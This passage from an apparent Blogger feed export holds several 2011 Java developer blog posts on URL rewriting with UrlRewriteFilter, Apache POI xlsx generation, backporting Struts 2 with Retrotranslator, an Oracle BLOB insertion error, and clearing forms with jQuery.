not&amp;nbsp; have to use JSON for that.&lt;br /&gt;&lt;br /&gt;Cheers,&lt;br /&gt;&lt;br /&gt;Ujjwal Soni&lt;br /&gt;&lt;br /&gt;UBS&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-6176128558689438846?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/6176128558689438846/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=6176128558689438846' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/6176128558689438846'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/6176128558689438846'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2011/03/jquery-autocomplete-with-datasource.html' title='Jquery Autocomplete with DataSource'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-1357035053000508542</id><published>2011-03-14T05:38:00.000-07:00</published><updated>2011-03-14T06:06:33.972-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='URL rewriting'/><category scheme='http://www.blogger.com/atom/ns#' term='rewrite url in java'/><title type='text'>URL rewriting for multi country website like /countryname/cityname</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;br /&gt;Hello Everyone,&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Recently, i had to develop a website which needed a different URL mapping, it needed a url mapping like /France/Paris (ie: country/city).I looked out for many options, first of all i tried it with url rewriting servlet and implemented a filter with it, but it was not exactly the thing i wanted. So i looked out for other options and finally i found UrlRewriteFilter from tuckey.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I downloaded the jars from www.tuckey.org/urlrewrite and configured that in web.xml file.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I found its configuration too easy, you need to configure that in web.xml under filter tag.&lt;br /&gt;&lt;pre&gt;&amp;lt;filter&amp;gt;&lt;br /&gt;     &amp;lt;filter-name&amp;gt;UrlRewriteFilter&amp;lt;/filter-name&amp;gt;&lt;br /&gt;     &amp;lt;filter-class&amp;gt;org.tuckey.web.filters.urlrewrite.UrlRewriteFilter&amp;lt;/filter-class&amp;gt;&lt;br /&gt;  &amp;lt;/filter&amp;gt;&lt;br /&gt; &lt;br /&gt;  &amp;lt;filter-mapping&amp;gt;&lt;br /&gt;    &amp;lt;filter-name&amp;gt;UrlRewriteFilter&amp;lt;/filter-name&amp;gt;&lt;br /&gt;    &amp;lt;url-pattern&amp;gt;/*&amp;lt;/url-pattern&amp;gt;&lt;br /&gt;  &amp;lt;/filter-mapping&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Secondly, there is a seperate xml file called urlrewrite.xml that is needed by this filter.&lt;br /&gt;&lt;br /&gt;You need to configure url rewriting rules in there. You can also use expression language to define a rule for your URL type.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So, i did someting like this to achieve my goal.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&amp;nbsp;&amp;lt;rule&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;from&amp;gt;^/([a-z\s-] )$&amp;lt;/from&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;to type="redirect"&amp;gt;%{context-path}/redirectAction.do?country=$1&amp;lt;/to&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/rule&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;rule&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;from&amp;gt;^/([a-z\s-] )/$&amp;lt;/from&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;to type="redirect"&amp;gt;%{context-path}/redirectAction.do?country=$1&amp;lt;/to&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/rule&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;rule&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;from&amp;gt;^/([a-z/\s/-] )/([a-z/\s/-] )$&amp;lt;/from&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;to type="redirect"&amp;gt;%{context-path}/redirectAction.do?country=$1&amp;amp;amp;city=$2&amp;lt;/to&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/rule&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;rule&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;from&amp;gt;^/([a-z/\s/-] )/([a-z/\s/-] )/$&amp;lt;/from&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;to type="redirect"&amp;gt;%{context-path}/redirectAction.do?country=$1&amp;amp;amp;city=$2&amp;lt;/to&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/rule&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;The above configuration helped me to accept multi spaced url's like www.ujjwalbsoni.blogspot.com/United States Of America/New York&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I created an action in struts that gets me the names of countries and cities accordingly and i finally got what i wanted.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Expression for redirect rule was really tedious since i was having multiple spaces in country/city names. But finally, i created and succeeded in making one and using that.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Cheers!!!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Ujjwal Soni&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;UBS&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-1357035053000508542?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/1357035053000508542/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=1357035053000508542' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/1357035053000508542'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/1357035053000508542'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2011/03/url-rewriting-for-multi-country-website.html' title='URL rewriting for multi country website like /countryname/cityname'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-1435731138055196689</id><published>2011-03-03T09:03:00.000-08:00</published><updated>2011-03-03T09:03:43.746-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='java framework'/><category scheme='http://www.blogger.com/atom/ns#' term='Play Framework'/><title type='text'>A great new java framework playframework</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Hi,&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Today, my friend told me about a new emerging java framework, its known as Play Framework.&lt;br /&gt;&lt;br /&gt;Its new and really awesome...Its not a game framework, but its like an MVC framework, a bit simpler one.&lt;br /&gt;&lt;br /&gt;Check out this link &lt;a href="http://www.playframework.org/documentation/1.1.1/5things"&gt;http://www.playframework.org/documentation/1.1.1/5things&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;Cheers!!!&lt;br /&gt;&lt;br /&gt;Ujjwal Soni&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-1435731138055196689?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/1435731138055196689/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=1435731138055196689' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/1435731138055196689'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/1435731138055196689'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2011/03/great-new-java-framework-playframework.html' title='A great new java framework playframework'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-203724092652454550</id><published>2011-03-03T08:57:00.000-08:00</published><updated>2011-03-03T08:57:31.073-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Block characters in excel sheet using jxl api java'/><category scheme='http://www.blogger.com/atom/ns#' term='jexcel'/><category scheme='http://www.blogger.com/atom/ns#' term='java excel'/><category scheme='http://www.blogger.com/atom/ns#' term='XHSSF'/><category scheme='http://www.blogger.com/atom/ns#' term='Generating xlsx excel 2007 files using jdk 1.4'/><category scheme='http://www.blogger.com/atom/ns#' term='apache poi'/><title type='text'>Generating xlsx excel 2007 files using jdk 1.4</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Hi,&lt;br /&gt;&lt;br /&gt;i need to generate excel 2007 reports in java, well, i had many options to do this like Jexcel, apache poi, Aspose...but this list got smaller since i had to do this in jdk 1.4,&amp;nbsp; since i had to do this in older jdk, i chose apache poi, but apache poi supports generating xlsx only on jdk 1.6, some blogs says that if we backport then poi can work on older jdk's, so i tried backporting it and converted jars in jdk 1.4, all was done and it worked for generating xls files, but when i changed it for xlsx using XHSSF class, it started throwing errors, i did lot of research but at the end, all was in vain. later on i read somewhere that apache poi backporting leads to serious memory issues on jdk 1.4, so i had gone for Jexcel, well jexcel needs a license and i gotaa use open source so i winded up this idea.&lt;br /&gt;&lt;br /&gt;Finally, i had chosen Apache POI with Jdk 1.6 and its working great. &lt;br /&gt;&lt;br /&gt;Cheers!!&lt;br /&gt;&lt;br /&gt;Ujjwal&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-203724092652454550?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/203724092652454550/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=203724092652454550' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/203724092652454550'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/203724092652454550'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2011/03/generating-xlsx-excel-2007-files-using.html' title='Generating xlsx excel 2007 files using jdk 1.4'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-4541894224236766168</id><published>2011-01-25T05:16:00.000-08:00</published><updated>2011-01-25T05:16:42.631-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='struts 2 backporting'/><category scheme='http://www.blogger.com/atom/ns#' term='struts jdk 1.4'/><category scheme='http://www.blogger.com/atom/ns#' term='Backporting Struts 2 to JDK1.4 or JDK 1.3'/><category scheme='http://www.blogger.com/atom/ns#' term='struts 2 jdk 1.4'/><title type='text'>Backporting Struts 2 to JDK1.4 or JDK 1.3</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Struts 2 framework and its dependencies available currently are compiled using JDK 1.5 and if you want to use same framework on JDK1.4 then you will require to backport these jars. Struts 2 framework core jars and its plugin jars can be translated to JDK 1.4 or 1.3 using Retrotranslator utility.&lt;br /&gt;&lt;br /&gt;Retrotranslator is a open source project which does this translation.&lt;br /&gt;&lt;br /&gt;You can read more about this on http://retrotranslator.sourceforge.net/&lt;br /&gt;&lt;br /&gt;Here are the steps to create the backport jars for JDK 1.4 or JDK 1.3&lt;br /&gt;&lt;br /&gt;1. Download Struts 2 - Alternative Java 4 JARs: from http://struts.apache.org.&lt;br /&gt;This also contains the retrotanslator jar files&lt;br /&gt;&lt;br /&gt;2. Unzip the downloaded file, this should create backport folder containing core jars, and retrotranslation jar files.&lt;br /&gt;&lt;br /&gt;3. Now copy all your Struts 2 Jars (including dependancies) to a folder say (Struts2-1.5)&lt;br /&gt;&lt;br /&gt;4. Create another folder for converted jar files say (Struts2-1.4)&lt;br /&gt;&lt;br /&gt;5. Run below command for each jar in the Struts2-1.5 folder&lt;br /&gt;&lt;br /&gt;java -jar retrotranslator-transformer-.jar -advanced -srcjar Struts2-1.5/struts2--.jar -destjar ./Struts2-1.4/struts2--.jar&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Note: Replace the &amp;amp; tokens with appropriate jar values.&lt;br /&gt;Here are commands for struts 2.0.11.2 backporting&lt;br /&gt;&lt;br /&gt;java -jar retrotranslator-transformer-1.2.2.jar -advanced -srcjar Struts2-1.5/struts2-core-2.0.11.2.jar -destjar Struts2-1.4/struts2-core-j4-2.0.11.2.jar&lt;br /&gt;&lt;br /&gt;java -jar retrotranslator-transformer-1.2.2.jar -advanced -srcjar Struts2-1.5/xwork-2.0.5.jar -destjar Struts2-1.4/xwork-j4-2.0.5.jar &lt;br /&gt;&lt;br /&gt;java -jar retrotranslator-transformer-1.2.2.jar -advanced -srcjar Struts2-1.5/struts2-codebehind.jar -destjar ./Struts2-1.4/struts2-codebehind.jar&lt;br /&gt;&lt;br /&gt;java -jar retrotranslator-transformer-1.2.2.jar -advanced -srcjar Struts2-1.5/struts2-core.jar -destjar ./Struts2-1.4/struts2-core-1.4.jar&lt;br /&gt;&lt;br /&gt;java -jar retrotranslator-transformer-1.2.2.jar -advanced -srcjar Struts2-1.5/struts2-spring.jar -destjar ./Struts2-1.4/struts2-spring.jar&lt;br /&gt;&lt;br /&gt;java -jar retrotranslator-transformer-1.2.2.jar -advanced -srcjar Struts2-1.5/struts2-pell.jar -destjar ./Struts2-1.4/struts2-pell.jar&lt;br /&gt;&lt;br /&gt;java -jar retrotranslator-transformer-1.2.2.jar -advanced -srcjar Struts2-1.5/struts2-plexus.jar -destjar ./Struts2-1.4/struts2-plexus.jar&lt;br /&gt;&lt;br /&gt;java -jar retrotranslator-transformer-1.2.2.jar -advanced -srcjar Struts2-1.5/struts2-struts1.jar -destjar ./Struts2-1.4/struts2-struts1.jar&lt;br /&gt;&lt;br /&gt;java -jar retrotranslator-transformer-1.2.2.jar -advanced -srcjar Struts2-1.5/struts2-jsf.jar -destjar ./Struts2-1.4/struts2-jsf.jar&lt;br /&gt;&lt;br /&gt;java -jar retrotranslator-transformer-1.2.2.jar -advanced -srcjar Struts2-1.5/struts2-sitegraph.jar -destjar ./Struts2-1.4/struts2-sitegraph.jar&lt;br /&gt;&lt;br /&gt;java -jar retrotranslator-transformer-1.2.2.jar -advanced -srcjar Struts2-1.5/struts2-sitemesh.jar -destjar ./Struts2-1.4/struts2-sitemesh.jar&lt;br /&gt;&lt;br /&gt;java -jar retrotranslator-transformer-1.2.2.jar -advanced -srcjar Struts2-1.5/struts2-tiles.jar -destjar ./Struts2-1.4/struts2-tiles.jar&lt;br /&gt;&lt;br /&gt;java -jar retrotranslator-transformer-1.2.2.jar -advanced -srcjar Struts2-1.5/struts2-config-browser.jar -destjar ./Struts2-1.4/struts2-config-browser.jar&lt;br /&gt;&lt;br /&gt;java -jar retrotranslator-transformer-1.2.2.jar -advanced -srcjar Struts2-1.5/xwork-2.0.5.jar -destjar ./Struts2-1.4/xwork-2.0.5.jar&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;6. This should create all your jars which are required for JDK 1.4. &lt;br /&gt;&lt;br /&gt;7. Make sure you delete all JDK 1.5 compiled jars from your application  lib and replace it with translated jars for JDK 1.4. Keeping both may  create unknown issues. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Retrotranslator is not limited to backporting the Struts 2 framework.  Its a utility which can be utilized for backporting any JDK 1.5 compiled  code to JDK 1.4.&lt;br /&gt;&lt;br /&gt;Cheers,&lt;br /&gt;&lt;br /&gt;Ujjwal Soni&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-4541894224236766168?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/4541894224236766168/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=4541894224236766168' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/4541894224236766168'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/4541894224236766168'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2011/01/backporting-struts-2-to-jdk14-or-jdk-13.html' title='Backporting Struts 2 to JDK1.4 or JDK 1.3'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-6431668331512358316</id><published>2011-01-24T08:49:00.000-08:00</published><updated>2011-01-24T08:49:43.976-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='java.sql.SQLException: Data size bigger than max size for this type'/><title type='text'>java.sql.SQLException: Data size bigger than max size for this type</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Hi All,&lt;br /&gt;&lt;br /&gt;Last week i was facing an issue on inserting Blob data in Oracle 10g database. I tested my application on Jboss container and locally my application was running fine, the real problem i faced when i deployed it on Oc4J container.&lt;br /&gt;&lt;br /&gt;I got this error ::: java.sql.SQLException: Data size bigger than max size for this type&lt;br /&gt;&lt;br /&gt;I tried everything, even i upgraded my jdbc driver but the problem was still there.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Here is my problem code :: &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;CallableStatement cstmt = &lt;br /&gt;dbConnection.prepareCall("{&lt;br /&gt;&lt;br /&gt;&lt;table border="0" cellpadding="5" cellspacing="0" style="width: 550px;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td valign="top" width="70%"&gt;&lt;wbr&gt;&lt;/wbr&gt;call product_image(?,?,?)}"); &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;cstmt.setInt(1, id); &lt;br /&gt;cstmt.setBinaryStream(2,file.&lt;wbr&gt;&lt;/wbr&gt;getInputStream(), (int) file.getFileSize()); &lt;br /&gt;cstmt.setString(3, companyCode); &lt;br /&gt;&lt;br /&gt;cstmt.registerOutParameter(1, oracle.jdbc.driver.&lt;wbr&gt;&lt;/wbr&gt;OracleTypes.INTEGER); &lt;br /&gt;&lt;br /&gt;cstmt.execute(); &lt;br /&gt;int returnValue=cstmt.getInt(1); &lt;br /&gt;&lt;br /&gt;I am using Jdk 1.4 and even my OC4J server is having jdk 1.4&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&amp;nbsp;I temporarily resolved the issue using simple update statements using prepared statement and inserted blob in&amp;nbsp; my DB, but i wanted that via a procedure.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;Later, i tried below code and it worked fine ::&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;String sql = "{call TEST_INSERT_USER_REG(?)}"; &lt;br /&gt;cstmt = conn.prepareCall(sql); &lt;br /&gt;cstmt.setBytes(1, Your BLOB data in Bytes); &lt;br /&gt;cstmt.close(); &lt;br /&gt;&amp;nbsp;  &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Cheers,&lt;br /&gt;&lt;br /&gt;Ujjwal Soni &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-6431668331512358316?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/6431668331512358316/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=6431668331512358316' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/6431668331512358316'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/6431668331512358316'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2011/01/javasqlsqlexception-data-size-bigger.html' title='java.sql.SQLException: Data size bigger than max size for this type'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-1214715112497507675</id><published>2011-01-24T08:40:00.000-08:00</published><updated>2011-01-24T08:40:19.102-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Clearing form data using jquery'/><category scheme='http://www.blogger.com/atom/ns#' term='jquery'/><title type='text'>Clearing form data using jquery</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;A question I often hear is, “How do I clear a form?”&lt;br /&gt;Initially the answer seems very straightforward – a one-liner in jQuery:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;$('form :input').val("");&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;&amp;nbsp;&lt;/code&gt;&lt;/pre&gt;But upon closer examination we find that this is a bad way to solve  the problem. When someone says they want to “clear a form” what they  really mean is that they want to clear the visible state from all the  form fields. With this in mind, the code above is clearly not the right  way to get the job done. First, it will blast away the values of hidden  inputs, checkboxes and radio buttons. Not good. The values of those  fields should not be altered. And second, it does not properly account  for select elements. What we need is something smarter. Here’s a start:&lt;br /&gt;&lt;pre&gt;&lt;code&gt;&amp;nbsp;&lt;/code&gt;&lt;/pre&gt;&lt;div id="javascript-3"&gt; &lt;div class="javascript" style="font-family: monospace;"&gt;&lt;ol&gt;&lt;li style="color: #acaa9a; font-weight: normal; vertical-align: top;"&gt;&lt;div style="background-color: transparent;"&gt;$.&lt;span style="color: #660066;"&gt;fn&lt;/span&gt;.&lt;span style="color: #660066;"&gt;clearForm&lt;/span&gt; &lt;span style="color: #339933;"&gt;=&lt;/span&gt; &lt;span style="color: #003366; font-weight: bold;"&gt;function&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="color: #acaa9a; font-weight: bold; vertical-align: top;"&gt;&lt;div style="background-color: transparent;"&gt;&amp;nbsp; &lt;span style="color: #000066; font-weight: bold;"&gt;return&lt;/span&gt; &lt;span style="color: #000066; font-weight: bold;"&gt;this&lt;/span&gt;.&lt;a href="http://www.learningjquery.com/wp-content/themes/ljq/docs.php?fn=each"&gt;&lt;span&gt;each&lt;/span&gt;&lt;/a&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #003366; font-weight: bold;"&gt;function&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="color: #acaa9a; font-weight: normal; vertical-align: top;"&gt;&lt;div style="background-color: transparent;"&gt;&amp;nbsp; &amp;nbsp; &lt;span style="color: #003366; font-weight: bold;"&gt;var&lt;/span&gt; type &lt;span style="color: #339933;"&gt;=&lt;/span&gt; &lt;span style="color: #000066; font-weight: bold;"&gt;this&lt;/span&gt;.&lt;span style="color: #660066;"&gt;type&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt; tag &lt;span style="color: #339933;"&gt;=&lt;/span&gt; &lt;span style="color: #000066; font-weight: bold;"&gt;this&lt;/span&gt;.&lt;span style="color: #660066;"&gt;tagName&lt;/span&gt;.&lt;span style="color: #660066;"&gt;toLowerCase&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;;&lt;/div&gt;&lt;/li&gt;&lt;li style="color: #acaa9a; font-weight: bold; vertical-align: top;"&gt;&lt;div style="background-color: transparent;"&gt;&amp;nbsp; &amp;nbsp; &lt;span style="color: #000066; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #009900;"&gt;(&lt;/span&gt;tag &lt;span style="color: #339933;"&gt;==&lt;/span&gt; &lt;span style="color: #3366cc;"&gt;'form'&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="color: #acaa9a; font-weight: normal; vertical-align: top;"&gt;&lt;div style="background-color: transparent;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style="color: #000066; font-weight: bold;"&gt;return&lt;/span&gt; $&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #3366cc;"&gt;':input'&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt;&lt;span style="color: #000066; font-weight: bold;"&gt;this&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;.&lt;span style="color: #660066;"&gt;clearForm&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;;&lt;/div&gt;&lt;/li&gt;&lt;li style="color: #acaa9a; font-weight: bold; vertical-align: top;"&gt;&lt;div style="background-color: transparent;"&gt;&amp;nbsp; &amp;nbsp; &lt;span style="color: #000066; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #009900;"&gt;(&lt;/span&gt;type &lt;span style="color: #339933;"&gt;==&lt;/span&gt; &lt;span style="color: #3366cc;"&gt;'text'&lt;/span&gt; &lt;span style="color: #339933;"&gt;||&lt;/span&gt; type &lt;span style="color: #339933;"&gt;==&lt;/span&gt; &lt;span style="color: #3366cc;"&gt;'password'&lt;/span&gt; &lt;span style="color: #339933;"&gt;||&lt;/span&gt; tag &lt;span style="color: #339933;"&gt;==&lt;/span&gt; &lt;span style="color: #3366cc;"&gt;'textarea'&lt;/span&gt;&lt;span style="color: 